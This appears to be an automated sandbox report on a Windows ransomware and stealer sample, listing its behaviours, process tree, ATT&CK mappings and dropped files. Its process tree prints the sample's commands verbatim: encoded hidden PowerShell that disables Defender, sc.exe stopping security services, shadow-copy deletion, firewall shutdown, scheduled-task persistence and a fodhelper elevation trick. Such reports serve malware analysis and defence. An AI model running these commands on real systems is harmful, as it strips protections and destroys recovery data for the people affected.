Overview

overview

10

Static

static

10

2026-05-31...ry.exe

windows10-2004-x64

10

2026-05-31...ry.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    31/05/2026, 16:27

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General

  • Target
    2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample260531-tybb2acw8v
  • SHA256 fd3de4febbecb4d418a1baeccdb7e102012085dca80e7148099f148ed8b68ac5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Custom signature
    Detects command variations typically used by ransomware 2 IoCs
  • Custom signature
    Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4272
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5948
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4772
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:3728
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1140
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:920
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:6088
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1720
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:564
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2512
      • C:\Users\Admin\AppData\Local\Temp\2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:2404
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:2276
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4520
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3400
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4496
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3524
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3916
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:3024
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4340
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1072
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1576
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:112
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5948
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2484
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:5748
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2720
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:324
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3952
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:2692
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4788
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:4980
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:228
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:1684
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:6016
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1480
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:2616
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:3832
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2404
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:5776
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a1d855 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:2976
              • C:\Users\Admin\AppData\Local\Temp\2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe
                1⤵
                  PID:2216
                • C:\Users\Admin\AppData\Local\Temp\2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  1⤵
                    PID:5164
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5648

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        2
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        System Services

                        2
                        T1569

                        Service Execution

                        2
                        T1569.002

                        Windows Management Instrumentation

                        1
                        T1047

                        Persistence

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        4
                        T1543

                        Windows Service

                        4
                        T1543.003

                        Event Triggered Execution

                        1
                        T1546

                        Netsh Helper DLL

                        1
                        T1546.007

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Create or Modify System Process

                        4
                        T1543

                        Windows Service

                        4
                        T1543.003

                        Event Triggered Execution

                        1
                        T1546

                        Netsh Helper DLL

                        1
                        T1546.007

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Defense Evasion

                        Direct Volume Access

                        1
                        T1006

                        Impair Defenses

                        3
                        T1562

                        Disable or Modify System Firewall

                        1
                        T1562.004

                        Disable or Modify Tools

                        1
                        T1562.001

                        Indicator Removal

                        2
                        T1070

                        File Deletion

                        2
                        T1070.004

                        Modify Registry

                        3
                        T1112

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Unsecured Credentials

                        1
                        T1552

                        Credentials In Files

                        1
                        T1552.001

                        Discovery

                        Browser Information Discovery

                        1
                        T1217

                        Process Discovery

                        1
                        T1057

                        Query Registry

                        1
                        T1012

                        System Information Discovery

                        3
                        T1082

                        Lateral Movement

                        Collection

                        Data from Local System

                        1
                        T1005

                        Command and Control

                        Exfiltration

                        Impact

                        Defacement

                        1
                        T1491

                        Inhibit System Recovery

                        2
                        T1490

                        Service Stop

                        2
                        T1489

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        invoice_1.pdf
                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 59f04e8ea7a4f19ad974b017ce3ea26c16285ba97c2aa45d2d4f1865d3cb0a96
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        doc_3.pdf
                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 15beb5213c1600b4dde18ca09c9114acadc36f1ae895991b5e52873884a30952
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-31_f3230bfe7077732ceacfed6d28165a8d_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                        • Size 660B
                        • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        __PSScriptPolicyTest_0uaq2cht.chz.ps1
                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0uaq2cht.chz.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        createshortcut.vbs
                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 309B
                        • SHA256 de879acbc4fea43544f57425490949d2d50a1cce915dd05104d032ec5e953c01
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        del.bat
                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        makelnk.vbs
                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 310B
                        • SHA256 ff5ab98138dc29ceb6f0a5ef8154889a76b9c175add3552add000ef72e42915b
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        sysupdate.exe
                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 49KB
                        • SHA256 fd3de4febbecb4d418a1baeccdb7e102012085dca80e7148099f148ed8b68ac5
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        memory/228-2253-0x00000188B22D0000-0x00000188B22D1000-memory.dmp
                        Download

                        memory/3008-2-0x000000001EF50000-0x000000001F112000-memory.dmp
                        Download

                        memory/3008-3-0x000000001F650000-0x000000001FB78000-memory.dmp
                        Download

                        memory/3008-2268-0x000000001CA30000-0x000000001CA40000-memory.dmp
                        Download

                        memory/3008-1-0x000000001CA30000-0x000000001CA40000-memory.dmp
                        Download

                        memory/3008-0-0x0000000000FA0000-0x0000000000FB2000-memory.dmp
                        Download

                        memory/4272-2233-0x00000262CF350000-0x00000262CF36C000-memory.dmp
                        Download

                        memory/4272-2238-0x00000262CF370000-0x00000262CF38A000-memory.dmp
                        Download

                        memory/4272-2243-0x00000262CE250000-0x00000262CE258000-memory.dmp
                        Download

                        memory/4272-2234-0x00000262CE240000-0x00000262CE24A000-memory.dmp
                        Download

                        memory/4272-2246-0x00000262CF390000-0x00000262CF39A000-memory.dmp
                        Download

                        memory/4272-2244-0x00000262CE260000-0x00000262CE266000-memory.dmp
                        Download

                        memory/4272-2229-0x00000262B6040000-0x00000262B604A000-memory.dmp
                        Download

                        memory/4272-1839-0x00000262B6050000-0x00000262B606C000-memory.dmp
                        Download

                        memory/4272-1876-0x00000262CE180000-0x00000262CE233000-memory.dmp
                        Download

                        memory/4272-12-0x00000262B5E90000-0x00000262B5EB2000-memory.dmp
                        Download